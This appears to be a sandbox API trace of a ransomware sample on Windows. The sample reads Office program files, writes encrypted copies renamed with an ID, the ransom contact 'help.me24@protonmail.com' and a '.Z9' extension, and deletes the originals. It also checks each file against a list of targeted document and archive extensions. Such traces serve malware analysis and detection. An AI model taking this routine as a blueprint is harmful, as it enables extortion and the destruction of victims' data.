	[0166.930] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x19a4, lpOverlapped=0x0) returned 1
	[0166.931] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0166.933] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.933] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.933] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.933] CloseHandle (hObject=0x4a4) returned 1
	[0166.933] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.933] SetEndOfFile (hFile=0x47c) returned 1
	[0166.938] CloseHandle (hObject=0x47c) returned 1
	[0166.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1
	[0166.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.940] lstrlenW (lpString=".doc") returned 4
	[0166.940] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.940] lstrlenW (lpString=".docx") returned 5
	[0166.940] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0166.940] lstrlenW (lpString=".pdf") returned 4
	[0166.940] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.940] lstrlenW (lpString=".xls") returned 4
	[0166.940] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.940] lstrlenW (lpString=".xlsx") returned 5
	[0166.940] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0166.940] lstrlenW (lpString=".ppt") returned 4
	[0166.940] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.940] lstrlenW (lpString=".zip") returned 4
	[0166.940] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.940] lstrlenW (lpString=".rar") returned 4
	[0166.940] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.940] lstrlenW (lpString=".bz2") returned 4
	[0166.940] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.940] lstrlenW (lpString=".7z") returned 3
	[0166.940] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.940] lstrlenW (lpString=".dbf") returned 4
	[0166.940] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.940] lstrlenW (lpString=".1cd") returned 4
	[0166.940] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.940] lstrlenW (lpString=".jpg") returned 4
	[0166.940] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.941] lstrlenW (lpString=".doc") returned 4
	[0166.941] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.941] lstrlenW (lpString=".docx") returned 5
	[0166.941] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0166.941] lstrlenW (lpString=".pdf") returned 4
	[0166.941] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.941] lstrlenW (lpString=".xls") returned 4
	[0166.941] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.941] lstrlenW (lpString=".xlsx") returned 5
	[0166.941] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0166.941] lstrlenW (lpString=".ppt") returned 4
	[0166.941] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.941] lstrlenW (lpString=".zip") returned 4
	[0166.941] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.941] lstrlenW (lpString=".rar") returned 4
	[0166.941] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.941] lstrlenW (lpString=".bz2") returned 4
	[0166.941] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.941] lstrlenW (lpString=".7z") returned 3
	[0166.941] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.941] lstrlenW (lpString=".dbf") returned 4
	[0166.941] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.942] lstrlenW (lpString=".1cd") returned 4
	[0166.942] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0166.942] lstrlenW (lpString=".jpg") returned 4
	[0166.942] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.942] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.942] lstrlenW (lpString="PARNT_08.MID") returned 12
	[0166.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.943] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=7347) returned 1
	[0166.943] CloseHandle (hObject=0x47c) returned 1
	[0166.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220
	[0166.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.944] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.944] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.945] GetLastError () returned 0x0
	[0166.945] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x1cb3, lpOverlapped=0x0) returned 1
	[0166.947] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x1cc0, lpOverlapped=0x0) returned 1
	[0166.948] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.949] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.949] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.949] CloseHandle (hObject=0x4a4) returned 1
	[0166.949] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.949] SetEndOfFile (hFile=0x47c) returned 1
	[0166.952] CloseHandle (hObject=0x47c) returned 1
	[0166.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1
	[0166.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.953] lstrlenW (lpString=".doc") returned 4
	[0166.953] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.953] lstrlenW (lpString=".docx") returned 5
	[0166.953] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0166.953] lstrlenW (lpString=".pdf") returned 4
	[0166.953] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.953] lstrlenW (lpString=".xls") returned 4
	[0166.953] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.953] lstrlenW (lpString=".xlsx") returned 5
	[0166.953] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0166.953] lstrlenW (lpString=".ppt") returned 4
	[0166.953] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.954] lstrlenW (lpString=".zip") returned 4
	[0166.954] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.954] lstrlenW (lpString=".rar") returned 4
	[0166.954] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.954] lstrlenW (lpString=".bz2") returned 4
	[0166.954] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.954] lstrlenW (lpString=".7z") returned 3
	[0166.954] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.954] lstrlenW (lpString=".dbf") returned 4
	[0166.954] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.954] lstrlenW (lpString=".1cd") returned 4
	[0166.954] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.954] lstrlenW (lpString=".jpg") returned 4
	[0166.954] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.954] lstrlenW (lpString=".doc") returned 4
	[0166.954] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.954] lstrlenW (lpString=".docx") returned 5
	[0166.954] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0166.954] lstrlenW (lpString=".pdf") returned 4
	[0166.954] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.955] lstrlenW (lpString=".xls") returned 4
	[0166.955] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.955] lstrlenW (lpString=".xlsx") returned 5
	[0166.955] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0166.955] lstrlenW (lpString=".ppt") returned 4
	[0166.955] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.955] lstrlenW (lpString=".zip") returned 4
	[0166.955] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.955] lstrlenW (lpString=".rar") returned 4
	[0166.955] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.955] lstrlenW (lpString=".bz2") returned 4
	[0166.955] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.955] lstrlenW (lpString=".7z") returned 3
	[0166.955] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.955] lstrlenW (lpString=".dbf") returned 4
	[0166.955] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.955] lstrlenW (lpString=".1cd") returned 4
	[0166.955] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0166.955] lstrlenW (lpString=".jpg") returned 4
	[0166.955] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.956] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.956] lstrlenW (lpString="PARNT_09.MID") returned 12
	[0166.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.033] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=6764) returned 1
	[0167.036] CloseHandle (hObject=0x47c) returned 1
	[0167.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220
	[0167.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0168.568] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.568] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.912] GetLastError () returned 0x0
	[0169.912] ReadFile (in: hFile=0x4a4, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x1a6c, lpOverlapped=0x0) returned 1
	[0169.922] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0169.923] ReadFile (in: hFile=0x4a4, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.923] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.923] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.923] CloseHandle (hObject=0x4a8) returned 1
	[0169.923] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.924] SetEndOfFile (hFile=0x4a4) returned 1
	[0169.926] CloseHandle (hObject=0x4a4) returned 1
	[0169.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.313] lstrlenW (lpString=".doc") returned 4
	[0170.313] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0170.313] lstrlenW (lpString=".docx") returned 5
	[0170.313] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0170.313] lstrlenW (lpString=".pdf") returned 4
	[0170.313] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0170.313] lstrlenW (lpString=".xls") returned 4
	[0170.313] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0170.313] lstrlenW (lpString=".xlsx") returned 5
	[0170.314] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0170.314] lstrlenW (lpString=".ppt") returned 4
	[0170.314] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.314] lstrlenW (lpString=".zip") returned 4
	[0170.314] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0170.314] lstrlenW (lpString=".rar") returned 4
	[0170.314] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0170.314] lstrlenW (lpString=".bz2") returned 4
	[0170.314] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0170.314] lstrlenW (lpString=".7z") returned 3
	[0170.314] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.314] lstrlenW (lpString=".dbf") returned 4
	[0170.314] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.314] lstrlenW (lpString=".1cd") returned 4
	[0170.314] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.314] lstrlenW (lpString=".jpg") returned 4
	[0170.314] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.314] lstrlenW (lpString=".doc") returned 4
	[0170.314] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0170.314] lstrlenW (lpString=".docx") returned 5
	[0170.314] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0170.314] lstrlenW (lpString=".pdf") returned 4
	[0170.314] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0170.314] lstrlenW (lpString=".xls") returned 4
	[0170.314] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0170.314] lstrlenW (lpString=".xlsx") returned 5
	[0170.314] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0170.314] lstrlenW (lpString=".ppt") returned 4
	[0170.314] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0170.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.315] lstrlenW (lpString=".zip") returned 4
	[0170.315] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0170.315] lstrlenW (lpString=".rar") returned 4
	[0170.315] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0170.315] lstrlenW (lpString=".bz2") returned 4
	[0170.315] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0170.315] lstrlenW (lpString=".7z") returned 3
	[0170.315] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0170.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.315] lstrlenW (lpString=".dbf") returned 4
	[0170.315] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0170.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.315] lstrlenW (lpString=".1cd") returned 4
	[0170.315] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0170.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0170.315] lstrlenW (lpString=".jpg") returned 4
	[0170.315] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0170.315] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0170.315] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27
	[0170.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.394] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=96472) returned 1
	[0170.395] CloseHandle (hObject=0x4a4) returned 1
	[0170.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220
	[0170.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.398] lstrlenW (lpString=".doc") returned 4
	[0170.398] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.398] lstrlenW (lpString=".docx") returned 5
	[0170.398] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0170.398] lstrlenW (lpString=".pdf") returned 4
	[0170.398] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.398] lstrlenW (lpString=".xls") returned 4
	[0170.398] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.398] lstrlenW (lpString=".xlsx") returned 5
	[0170.398] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0170.398] lstrlenW (lpString=".ppt") returned 4
